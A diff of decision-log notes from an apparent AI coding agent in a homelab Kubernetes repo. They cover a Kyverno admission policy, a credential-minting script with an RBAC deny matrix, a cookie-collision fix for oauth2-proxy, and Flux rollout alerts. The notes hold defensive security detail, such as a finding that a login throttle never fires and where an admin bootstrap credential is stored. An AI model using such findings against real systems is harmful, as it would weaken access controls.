+`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
+admission fails `make -C ci l0` instead of failing at 2am.
+
+### How strong that evidence is — the `kyverno test` load trap
+
+`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
+prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
+Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
+separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
+`Test Summary: 9 tests passed and 0 tests failed`.
+
+So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
+`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
+alone — or the green `l0` line in the gate below — would **not** on its own establish that these
+rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
+`error: 0, skip: 0` in the numbers above, not the exit code.
+
+Two further limits on what a CLI pass proves:
+
+- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
+  fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
+  filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
+  that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
+  `kyverno apply`.
+- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
+  admission in the cluster.
+
+### Two Kyverno traps, both of which silently invert the result
+
+Both are now commented in the rules:
+
+- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
+  ``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
+  `false` into `true` and denies every good Job.
+- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
+  `Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
+  `["/bin/sh","-c",…]` through on element 0.
+
+### The results envelope
+
+**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
+head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
+check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
+`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
+verified; its transport over `kubectl logs` from a real Pod is not.**
+
+### Gate
+
+Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
+`.git`, per CLAUDE.md §3):
+
+    diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
+    touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
+    spec-immutability: green
+    decisions-log: green   (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
+                            2 entries well-formed — this one included)
+    lint: green            (404 files)
+    l0: green              (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
+                            0 failures, 0 skips, 0 unwired)
+    render-golden: green   (10 onboarded service goldens reproduce)
+    l1: green              (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
+    gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
+    conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
+    MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
+      Stages that did not run: gitea-settings
+    rc 3
+
+Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
+says nothing about Gitea's branch protection or runner registration, and the seven touched
+requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
+itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
+merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
+(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
+well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
+eye — though that stage checks *structure*, never whether any claim inside it is true.
+
+### The `approval-policy` check this PR was expected to fail does not exist
+
+I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
+security-relevant. **That check does not exist.** Measured rather than assumed:
+
+    grep -rn approval .gitea/workflows/     ->  no match
+    GET /repos/.../branches/main
+      protected                    True
+      user_can_push                False
+      enable_status_check          True
+      status_check_contexts        ['gate / gate (pull_request)']
+      required_approvals           1
+    GET /repos/.../commits/<head>/statuses
+      success   gate / gate (pull_request)          Successful in 1m36s
+      pending   gate / conformance (pull_request)   Blocked by required conditions
+
+The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
+that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
+approval policy in CI anywhere in this repo.** What actually stops this merging is
+`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
+self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
+by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
+
+**Consequence worth acting on:** a change under `conformance/**` — including a change to the
+admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
+path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
+policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
+`paths:`-scoped required check would be the mechanism; neither exists today.
+
+The PR was **not merged** and nothing was worked around.
+
+### Process note, worth more than the policy fix
+
+Both halves of the security finding came from **probing rather than reading**. The hole was not
+visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
+explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
+policy is only as trustworthy as its negative fixtures.
+
+### Addendum — rebased onto `main` after #18 landed (2026-09-29)
+
+This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
+`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
+file (see `decisions/README.md`).
+
+The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
+where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
+`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
+`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.
+
+One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
+carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
+["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
+in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
+`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
+`main` documenting an open hole that had just been closed, which is the same
+documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
+rebase: every file but that README is byte-identical to the pre-rebase tip.
+
+## What I did NOT verify
+
+- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
+  exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
+  clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
+  all **unexercised**. The envelope itself is verified; its transport is not.
+- **PR #18 has since merged** (`cac5c9f`), so `/usr/local/bin/conformance-clone` and the image are
+  now on `main` and this branch was rebased onto them. What that changes is only *availability*:
+  if the path were missing or named differently the init container would fail to start, and if the
+  image is not the pinned digest admission denies the Job. **Neither has been exercised** — no
+  image has been built or pushed, so the digest this branch pins still resolves to nothing.
+- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
+  name is referenced here.
+- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
+  not been built. If the Containerfile picks a different uid, the Job will not start.
+- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
+  the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
+  assertion turns that into a loud failure rather than a wrong-tree run.
+- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
+  Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
+  `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
+  *template* nested in a Job, and I found no definitive answer. Establishing it needs a
+  `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
+  so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
+  field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
+  boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
+  the rule should stay either way.
+- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
+  or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
+  trigger identity in a live admission request.
+- **Admission was never exercised by a real API server** — only by `kyverno apply` against
+  manifests. A policy that a CLI accepts can still behave differently once installed.
+- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
+  there is deliberately partial, not complete.
+- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
+  entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
+  reviewed change. That is the intended failure direction, but it is a coupling the next person
+  editing either script needs to know about, so it is called out in the rule's message.
+- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
+  branch changes nothing about what CI does today.
+- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
+  conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
+  runtime behaviour.
+- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
+  frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
+  sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.

decisions/2026-09-29-conformance-trigger-kubeconfig.md

@@ -0,0 +1,125 @@
+---
+date: 2026-09-29
+branch: feat/conformance-trigger-kubeconfig
+title: The trigger credential script — it REFUSES, on purpose, and it is UNEXECUTED
+---
+
+## What changed
+
+Delivered `infra/gitea/conformance-trigger-kubeconfig.sh` —
+`docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 — plus its section in
+`infra/gitea/README.md`. **The script is UNEXECUTED.** Minting a cluster credential and
+changing Gitea variables are operator actions; nothing was minted, no Gitea object was
+written, no `kubectl` mutation was made. Everything below is a claim about the *script*,
+not about the platform.
+
+*What it does.* Mints a token for `conformance/conformance-trigger` (TokenRequest), wraps
+**only that token** with the cluster CA and server into a kubeconfig, stores it as the
+Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG` (legal name — **not** the reserved `GITEA_`
+prefix), and sets `vars.CLUSTER_AVAILABLE` only as a separately-requested,
+precondition-gated, TTY-confirmed final step. The token is never printed and never reaches
+argv: it goes into a 0600 file and into the PUT **body file**. The script refuses to run
+under `set -x`.
+
+*The design decision worth reviewing: TWO precondition classes.*
+
+- **mint-blocking (cluster-side):** SA/Role/RoleBinding present, and ClusterPolicy
+  `conformance-trigger-job-shape` present + `Enforce` + `failurePolicy: Fail` + Ready. If any
+  fails, **nothing is minted**. Rationale: Kubernetes puts no `use` check on a Job's
+  `serviceAccountName`, so a `create jobs` token in that namespace IS the privileged
+  `conformance-runner` identity unless the admission policy bounds it. RBAC cannot fix that
+  (plan §4); minting before the boundary is live would hand CI the escalation the boundary
+  exists to close.
+- **arm-blocking (repo-side):** digest-pinned `CONFORMANCE_RUNNER_IMAGE`, an init-container
+  plus the admitted image in `chainsaw-job.yaml`, and `CONFORMANCE_TRIGGER_KUBECONFIG`
+  referenced in `ci/conformance.sh` **code rather than a comment**. These block only the
+  variable, because storing the secret early is harmless and is the plan's own order.
+
+**Measured in the tree at the time of writing: all three arm-blocking checks FAIL** (no
+`CONFORMANCE_RUNNER_IMAGE` in `conformance/versions.env`; `chainsaw-job.yaml` is still the
+skeleton with an empty `workspace` emptyDir and the stock chainsaw image; `ci/conformance.sh`
+names the trigger kubeconfig only in its TODO comment). So on a live run today the script
+would provision the secret and then **refuse to arm `CLUSTER_AVAILABLE`**, naming each
+missing item — which is the intended behaviour, not a defect. §3 items 1, 2 and 4 are the
+work that unblocks it.
+
+*Both writes are verified the way `set-ci-token.sh` learned to.* `curl -sS` exits 0 on an
+HTTP error, so status alone proves nothing: each write checks `%{http_code}` **and** reads
+the object back. For the secret that is presence-by-name only (Gitea never returns secret
+values) and the script says so rather than implying the content was checked; for the variable
+it asserts the value reads back as exactly `true`.
+
+*Noted, not fixed at the time (since fixed on this branch).* `infra/gitea/README.md`'s
+detector table still named `GITEA_SETTINGS_TOKEN` — the illegal name PR #15 replaced with
+`SETTINGS_API_TOKEN`. The second commit on this branch corrects the README's table and its
+closing "remaining step" line, and records what `ci/gitea-settings.sh` actually does
+(`TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"` — the old name survives only as a
+local-run environment variable, never as CI wiring, because the secret that would feed it
+cannot be created at all). Documentation only, no behaviour change. Still NOT fixed, because
+it is outside this PR's diff: `ci/gitea-settings.sh:45` instructs the reader to create a repo
+secret `GITEA_SETTINGS_TOKEN`, which is impossible.
+
+*Rework, 2026-09-29.* This branch originally appended ~99 lines to the tail of
+`DECISIONS-LOG.md`. That is the hunk every concurrent branch collided on and the sole reason
+PR #19 was `mergeable: false`. The branch was rebuilt on today's `main` with the
+`DECISIONS-LOG.md` change dropped entirely, and this file is that handoff moved into
+`decisions/`. The changes to `infra/gitea/**` are byte-identical to the original three
+commits; the commit that contained only the log append was dropped and its substance folded
+in below.
+
+## What I verified
+
+*Of the script, before it stores anything:* it PROVES the credential narrow — `auth whoami`
+must return `system:serviceaccount:conformance:conformance-trigger`; a real `get jobs`
+round-trip must succeed; then an `auth can-i` matrix asserts BOTH halves — granted
+(`create/get jobs`, `get pods`, `get pods/log`) and **denied** (`delete jobs`, `create
+pods/exec`, `get secrets`, `create jobs` in `default`, `get nodes`,
+`'*' '*' --all-namespaces`). A mismatch aborts before anything is stored, and the message
+says explicitly **not** to widen `conformance/incluster/rbac.yaml` to make it pass. That is a
+property of the code as read, not of an execution.
+
+*Of PR #19's CI, measured rather than assumed — and it contradicts the brief.* The brief for
+this work stated this PR's CI would FAIL `approval-policy` because `infra/gitea/**` is
+security-relevant. Measured on the PR head commit's `/statuses`:
+
+    gate / gate (pull_request)          success   Successful in 1m34s
+    gate / conformance (pull_request)   pending   Blocked by required conditions
+
+`.gitea/workflows/` on `main` contains only `gate.yml` and the dormant `merge-gate.yaml`.
+**No path-scoped approval policy exists**, so nothing machine-enforces "security-relevant
+paths need a human"; that rule rests entirely on `required_approvals: 1` plus a reviewer
+actually reading the diff. Another instance of the CLAUDE.md §2b failure mode — a control
+believed to exist because a brief said so. If the policy is intended, it is missing and needs
+its own change. And per this repo's own rule, that green `gate` tick is **not** evidence this
+script works: the gate never executes `infra/gitea/**`, and the L2/L3 stage skipped.
+
+*Gate on the reworked branch (pinned toolbox, from the agent worktree, `DEV_KUBECONFIG=/dev/null`
+plus the `ENGINE` bind-mount shim per CLAUDE.md §3):* `MERGE GATE: UNDETERMINED`, **rc 3**.
+Diff base `origin/main @ c59fe9f923c4` ... this branch's head; touched requirement resolved as
+`R-ENV-01`. `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden` and `l1` all
+green; the gate decision names exactly one stage that did not run — `gitea-settings`
+(`SETTINGS_API_TOKEN` is a credential this agent does not hold, unwired repo-wide). The
+`conformance` stage also reported SKIPPED (`CLUSTER_AVAILABLE!=true`, Phase 0). The new
+`decisions-log` stage — merged to `main` as PR #24 after this rework began — validated this very
+file: "archive frozen, 2 entries well-formed", with `DECISIONS-LOG.md` unchanged and matching
+`decisions/ARCHIVE.sha256`. rc 3 is UNDETERMINED, not green, and is not reported as green here.
+
+## What I did NOT verify
+
+**The script has never executed.** Not one line of it has run against Gitea or against the
+cluster. Only `bash -n` was run (clean); `shellcheck` is not on the host and there is no
+shellcheck stage in the gate.
+
+- The Gitea variables API shape (POST-creates / PUT-updates, body field `value` not `data`)
+  is from **documentation, not measurement**. The script tries POST then falls back to PUT,
+  prints the response body on failure, and treats the read-back as the authority.
+- The Kyverno readiness field (`.status.ready` vs. a Ready condition) is handled both ways
+  and treats "neither present" as a block rather than assuming ready — but which form this
+  cluster actually reports is **unmeasured**.
+- Whether the kubeconfig's embedded server URL is reachable from the runner pod **cannot be
+  known from here** — hence `--server`, and a hard refusal on a loopback address.
+- No credential was minted, no Actions secret was created, `vars.CLUSTER_AVAILABLE` was not
+  set, and no `can-i` matrix was ever run against a real token. The narrowness argument above
+  is read from the RBAC and the script, not observed.
+- The gate proves only its L0/L1 offline subset. L2/L3 conformance did not run, so nothing
+  here is evidence about runtime behaviour.

decisions/2026-09-29-crafty-oauth2-proxy-signin.md

@@ -0,0 +1,123 @@
+---
+date: 2026-09-29
+branch: fix/crafty-oauth2-proxy-signin
+title: Crafty "won't sign in after Keycloak" — the gate was fine, Crafty's own login was the wall
+---
+
+## What changed
+
+Reported as *"crafty utilizing the keycloak oauth2-proxy does not sign in to the service after
+signing into keycloak; there is no way to set the service up without credentials."* The sidecar's
+own access log settles which layer refused, and it is not the one the report names:
+
+    GET /                            -> 302 to Keycloak
+    [AuthSuccess] ... groups:[platform-admins]        <- oauth2-proxy did its job
+    GET /oauth2/callback             -> 302
+    GET /panel/dashboard             -> 302
+    GET /login?next=/panel/dashboard -> 200           <- CRAFTY's own login page
+    POST /api/v2/auth/login/         -> 401           <- CRAFTY refused
+
+**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's
+identity headers, so it presents its own local login to an already-authenticated user. That second
+factor is intended. What was not intended — and what made the service genuinely impossible to set
+up — is that **nothing documented where that password comes from**. Crafty generates it **once, on
+first boot only** (users table empty → `DatabaseBuilder.default_settings()`) into
+`/crafty/app/config/default-creds.txt`, mode `0600`, on the PVC's `config` subPath. Never in git; a
+fresh PVC generates a new one and the old is gone with the volume. `platform/crafty/README.md`
+asserted the double login was "expected, not a bug" and then left the reader with no way forward —
+the assertion was true and useless in the same sentence.
+
+So this branch:
+
+- Adds `runbooks/crafty-admin-credential.md` — tell the two auth layers apart from the sidecar log,
+  retrieve and rotate the bootstrap credential, and reset a lost one via argon2. Registered in the
+  runbooks `configMapGenerator`/`kustomization.yaml` and listed in `runbooks/README.md`, so the URL
+  actually resolves rather than the file merely existing.
+- Documents the credential's provenance and the two auth layers in `platform/crafty/README.md`.
+- **Fixes a second, real defect found while proving the first.** Both oauth2-proxy instances emitted
+  oauth2-proxy's **default** cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
+  `.home.keithjackson.dev`, while holding **different** cookie-secrets. One cookie pair, two
+  proxies: whichever authenticated last clobbered the other's session; the loser logged `No valid
+  authentication in request`, bounced to Keycloak, and — SSO session still live — was redirected
+  straight back, clobbering it again. **That mutual eviction presents exactly as the reported
+  symptom**, intermittently, and would have been blamed on Keycloak indefinitely. Fixed on the
+  crafty side only (renaming the shared proxy's cookie would sign out every other gated app): a
+  unique `--cookie-name=_oauth2_proxy_crafty` plus a **host-scoped** `--cookie-domain`.
+  `--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
+
+**Considered and rejected: seeding `default.json` from a SOPS Secret.** Crafty does ship the hook —
+`find_default_password()` reads `app/config/default.json` (`username`, `password`, min 8 chars) and
+`delete_default_json` controls its removal — so an initContainer could make a rebuilt Crafty's admin
+password deterministic and git-managed. Rejected: the image entrypoint pulls its default config
+**only when `app/config` is empty** (`if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r
+./app/config_original/* ./app/config/`). Writing `default.json` there pre-boot makes the directory
+non-empty and **suppresses the entire config bootstrap** — no `config.json`, no `credits.json`.
+Doing it safely means replicating the entrypoint's copy inside the initContainer, i.e. co-owning
+image-internal bootstrap logic that a 4.11 bump can change silently, to replace a one-command
+retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is the landmine to design around.
+
+## What I verified
+
+- **Which layer refused**, from the sidecar's own access log: `[AuthSuccess] ...
+  groups:[platform-admins]` followed by Crafty's `/login` page and `POST /api/v2/auth/login/ → 401`.
+  oauth2-proxy admitted the user; Crafty rejected the local credential.
+- **The existing bootstrap credential is still usable**, so no DB surgery is needed to get in:
+  `users.last_update` **equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password
+  has never been changed — and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that
+  created the "homelab" server. `default-creds.txt` is therefore live.
+- **The two cookie-secrets differ** — compared the two live Secrets (key presence/values compared
+  in-cluster, not printed), so neither proxy can decrypt the other's cookie; and both instances were
+  emitting the default cookie names on the shared `.home.keithjackson.dev` scope.
+- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
+  `"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
+  `self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
+  `get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good
+  (**repeated guesses cannot lock the operator out**) and bad (that throttle is not a control we
+  have; the `platform-admins` gate is the only thing limiting who reaches the form). I had written
+  the opposite into the README from the config value alone before measuring it — the config key
+  existing is not the same claim as the code path running.
+- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
+  runs `main.py -d -i`. Recovery must go through the DB.
+- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
+  cannot import it, so the obvious reset one-liner fails.
+- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
+  assumed). So the runbook's reset generates its password **in-pod** into a `0600` file — Crafty's own
+  `default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
+- **Gate:** toolbox `./ci/gate.sh` — see the next section for the exit code. Green stages:
+  `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`.
+
+## What I did NOT verify
+
+- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is
+  reasoned from measured facts (default cookie names on both, shared domain, differing secrets) and
+  renders correctly, but nobody has signed in through it. The human test is in
+  `platform/crafty/README.md`.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
+  still the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this
+  session's read-only probes). **Merging is what deploys, and it will restart the pod** —
+  `strategy: Recreate` on an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick
+  the moment.
+- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
+  `gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
+  touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**.
+  Nothing failed; nothing runtime was proven either. **rc 3 is UNDETERMINED, not green.**
+- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
+  credential. The runbook says to rotate on first sign-in; that is an operator action and is still
+  open.
+- **The cookie collision's symptom was never reproduced in a browser.** This is the part of the
+  change with no observed failure to point at — the sidecar trace above shows a *working* session,
+  because that browser had not visited another gated app first. It is a latent-bug fix.
+
+### Follow-ups
+
+1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves
+   off `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has
+   sat unchanged and undocumented.
+2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the
+   two halves differently); the alternative is to accept the `platform-admins` gate as the only
+   throttle and say so.
+3. **Any further per-app reverse-proxy sidecar needs a unique `--cookie-name` too.** The collision is
+   a property of the pattern, not of Crafty. Worth an L0 check asserting that every oauth2-proxy
+   instance in the tree declares a distinct cookie name — the failure is silent and intermittent,
+   which is exactly the shape this repo keeps getting burned by.

decisions/2026-09-29-flux-deploy-notifications.md

@@ -0,0 +1,144 @@
+---
+date: 2026-09-29
+branch: feat/flux-deploy-notifications
+title: Flux deploy notifications — the operator now gets mail when a git change starts rolling out and when it completes
+---
+
+## What changed
+
+The operator was getting **no notification when Flux began applying a git change, and none when it
+finished**. Root cause, measured rather than inferred: `notification-controller` v1.4.0 is running
+(`1/1` ready) and the `Provider`/`Alert`/`Receiver` CRDs are installed and serving `v1beta3`, but
+there are **zero `Provider` and zero `Alert` objects in the entire cluster** (`kubectl get
+providers,alerts -A` → `No resources found`). Nothing in git ever created any. The five `gotk_*`
+rules in `platform/monitoring/alerts.yaml` only cover *failures* (`FluxReconciliationFailure`,
+`FluxResourceSuspended`) — nothing covered the healthy path.
+
+**The obvious fix does not work, and this is the substance of the change.** Neither Flux event can be
+filtered into a deploy signal:
+
+- `ReconciliationSucceeded` is a **heartbeat, not a change signal**. 16 Kustomizations, 15 on
+  `interval: 10m` → **101 such events in one hour**, with the message `Reconciliation finished in
+  324.161192ms, next run in 10m0s` — byte-identical in shape whether the apply changed anything or
+  not. An `Alert` at `eventSeverity: info` would have mailed ~100 times an hour.
+- `Progressing` is worse. Five Kustomizations re-apply the same object on **every** tick — event
+  counts **2505 / 2504 / 2501 / 2495 / 2490** (`apps-vms` → `NetworkPolicy/unifi/default-deny`,
+  `platform` → `CustomResourceDefinition/cdis.cdi.kubevirt.io`, `apps-wave-0/1/2` →
+  `NetworkPolicy/{gitea,nextcloud,seerr}/default-deny`). Anything keyed on `Progressing` would mail
+  five times every ten minutes, forever.
+- `gotk_*` carries **no revision label anywhere** — `gotk_reconcile_condition` 120 series,
+  `gotk_suspend_status` 40, not one with a revision.
+
+The applied **revision** is the only signal that moves when and only when git moves, and it lives in
+object status alone. So:
+
+1. **`platform/monitoring/kube-prometheus-stack.yaml`** — two resources added to the *existing*
+   `kube-state-metrics.customResourceState` config (the Velero-Schedule path, already enabled):
+   `kube_flux_kustomization_info{revision}` + `kube_flux_kustomization_suspended` (from
+   `status.lastAppliedRevision` / `spec.suspend`) and `kube_flux_gitrepository_info{revision}` (from
+   `status.artifact.revision`). Plus the two mandatory read-only `rbac.extraRules` entries, and a
+   `podAnnotations` roll-counter — the chart sets **no checksum annotation** over that ConfigMap, so
+   a config-only edit would have left KSM running the old collector set with the new metrics absent
+   and the new alerts silently inert. Named `kube_flux_*`, never `gotk_*`, for the same reason
+   `kube_velero_schedule_*` is not `velero_*`: these are KSM series about Kubernetes objects.
+   Cost: 33 series.
+2. **`platform/monitoring/alerts.yaml`**, group `platform-health.flux` — `FluxRolloutInProgress`
+   (`severity: info`, **no `for:`**) fires the moment any non-suspended Kustomization's applied
+   revision is not the revision the GitRepository fetched from `main`, and **clears when all have
+   caught up**. Fired mail = "a deploy started"; **resolved mail = "it completed"** — the completion
+   half is delivered by `send_resolved`, not by a second rule. `FluxRolloutStuck` (`severity:
+   warning`, `for: 30m`) is the same expression as the escalation for a rollout that started and
+   never converged.
+3. **Alertmanager** — a dedicated `severity = "info"` route and `email-deploy` receiver, subject
+   `[FLUX] applying|applied — …`. Without it a routine deploy would have arrived subject-lined
+   `[WARNING]` via the catch-all receiver and become indistinguishable from a real fault.
+   `group_by: [alertname]` collapses all 16 Kustomizations into one mail per rollout;
+   `group_interval: 2m` so completion is not held 4m behind the event.
+4. **`platform/monitoring/tests/flux-rollout.test.yaml`** — 6 promtool scenarios, both directions.
+5. **`runbooks/flux-rollout.md`** (+ its `configMapGenerator` entry) and a `kube_flux_` entry in
+   `conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh` whose `require` patterns
+   pin `customResourceState`, both `metricNamePrefix`es, both `apiGroups` and the roll-counter — so
+   deleting any of them fails the gate instead of silently re-inerting the alerts.
+
+Two guards in the expression, each with a test whose only job is to fail if that clause is removed:
+`and on () (count(kube_flux_gitrepository_info…) > 0)` (without it, a missing exporter makes
+`unless on (revision) <empty>` remove nothing and **all 16 Kustomizations alert forever** — the
+permanently-firing mode this repo shipped once already), and `unless on (namespace, name)
+(kube_flux_kustomization_suspended == 1)` (a suspended Kustomization pins an old revision by design
+and would hold the rollout open, so the "applied" mail would never arrive).
+
+## What I verified
+
+Measured against live prod (`--context k3s-prod`) **before** writing anything, and quoted here as
+measured:
+
+- `notification-controller` `1/1`, image `ghcr.io/fluxcd/notification-controller:v1.4.0`;
+  `alerts`/`providers`/`receivers.notification.toolkit.fluxcd.io` all serve `v1beta3` (storage);
+  `get providers,alerts -A` → **`No resources found`**. This is the defect.
+- Event counts above, from `kubectl get events -A -o json` filtered to `toolkit.fluxcd.io`
+  involvedObjects: 101 `Kustomization/ReconciliationSucceeded`, 10 `Progressing`, 15
+  `DependencyNotReady`, 4 `GitRepository/GitOperationSucceeded`, 1 `NewArtifact`.
+- The `gotk_*` family **is** in the TSDB now (`flux-podmonitor` works): 6 targets up in job
+  `flux-system/flux-system`, `gotk_reconcile_condition` 120 series, `gotk_suspend_status` 40
+  (`{kind="Kustomization"}` = 16) — and none carries a revision.
+- `customResourceState` already works end to end: `kube_velero_schedule_{created,paused,
+  protects_volume_data,info}` = 2 series each.
+- Both CRDs serve **`v1` as the storage version**; `GitRepository/flux-system`
+  `.status.artifact.revision` = `main@sha1:b93594b7c85aeec4d28e008b239d61d181e1e6de`, `spec.interval`
+  `1m`; all 16 Kustomizations report that same `lastAppliedRevision`; **none** sets `spec.suspend`
+  (which is why `nilIsZero: true` is mandatory).
+- Reachability for the follow-up below: `flux-system/allow-egress` is `egress: [{}]` (allow-all) and
+  the `monitoring` namespace has **no NetworkPolicy at all**, so nothing blocks flux-system →
+  `kube-prometheus-stack-alertmanager` (`10.43.60.242:9093`).
+- `promtool test rules` on the new suite: **SUCCESS**, 53 rules parsed, promtool 3.14.0 from the
+  pinned toolbox. All 6 scenarios pass, including both guard tests and the convergence test that
+  proves the alert empties itself (the completion mail).
+- Full gate in the pinned toolbox: `lint`, `l0`, `render-golden`, `l1`, `decisions-log`,
+  `spec-immutability` all **green** — `l0` includes `alert-metrics-have-scrape-targets`,
